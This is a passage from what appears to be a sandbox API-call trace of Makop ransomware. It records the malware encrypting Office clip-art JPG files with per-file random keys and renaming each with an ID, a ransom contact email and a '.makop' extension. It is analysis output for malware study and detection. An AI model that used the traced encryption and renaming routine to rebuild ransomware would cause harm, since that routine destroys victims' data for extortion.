[0117.677] GetProcessHeap () returned 0x48a0000 [0117.677] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.677] GetProcessHeap () returned 0x48a0000 [0117.678] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.678] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.679] CloseHandle (hObject=0xf0) returned 1 [0117.679] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1 [0117.679] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG") returned 63 [0117.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.680] GetProcessHeap () returned 0x48a0000 [0117.680] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.680] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.680] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.680] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.687] GetProcessHeap () returned 0x48a0000 [0117.687] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.687] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.688] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.688] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.688] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.688] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.688] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.688] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2378, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2378, lpOverlapped=0x0) returned 1 [0117.690] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2380, dwBufLen=0x2380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2380) returned 1 [0117.690] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.690] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2380, lpOverlapped=0x0) returned 1 [0117.691] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.691] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.691] SetEndOfFile (hFile=0xf0) returned 1 [0117.697] GetProcessHeap () returned 0x48a0000 [0117.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.697] GetProcessHeap () returned 0x48a0000 [0117.697] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.697] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.701] CloseHandle (hObject=0xf0) returned 1 [0117.701] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1 [0117.701] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG") returned 63 [0117.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.703] GetProcessHeap () returned 0x48a0000 [0117.703] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.703] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.708] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.708] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.708] GetProcessHeap () returned 0x48a0000 [0117.708] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.708] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.708] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.708] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.708] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.709] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.709] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.709] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.710] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.710] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.710] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.710] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f8c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f8c, lpOverlapped=0x0) returned 1 [0117.711] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f90) returned 1 [0117.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f90, lpOverlapped=0x0) returned 1 [0117.712] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2064, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.712] SetEndOfFile (hFile=0xf0) returned 1 [0117.719] GetProcessHeap () returned 0x48a0000 [0117.719] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.719] GetProcessHeap () returned 0x48a0000 [0117.719] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.719] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.721] CloseHandle (hObject=0xf0) returned 1 [0117.721] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1 [0117.721] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0117.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.723] GetProcessHeap () returned 0x48a0000 [0117.723] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.723] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.723] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.723] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0117.727] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.727] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.727] GetProcessHeap () returned 0x48a0000 [0117.727] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.727] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.727] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.729] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.729] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xab74, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xab74, lpOverlapped=0x0) returned 1 [0117.731] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab80, dwBufLen=0xab80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xab80) returned 1 [0117.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xab80, lpOverlapped=0x0) returned 1 [0117.732] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xac54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.732] SetEndOfFile (hFile=0xf0) returned 1 [0117.739] GetProcessHeap () returned 0x48a0000 [0117.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0117.739] GetProcessHeap () returned 0x48a0000 [0117.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0117.739] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0117.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0117.741] CloseHandle (hObject=0xf0) returned 1 [0117.741] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1 [0117.741] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG") returned 63 [0117.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0117.742] GetProcessHeap () returned 0x48a0000 [0117.742] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0117.742] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0117.742] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0117.742] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0117.747] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.747] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.747] GetProcessHeap () returned 0x48a0000 [0117.747] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0117.747] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0117.747] CryptDestroyKey (hKey=0x48c7128) returned 1 [0117.747] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0117.747] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0117.747] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0117.748] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0117.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0117.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0117.748] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0117.748] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0117.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.748] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf39f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf39f, lpOverlapped=0x0) returned 1 [0117.752] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf3a0, dwBufLen=0xf3a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf3a0) returned 1 [0117.752] SetFilePointerEx 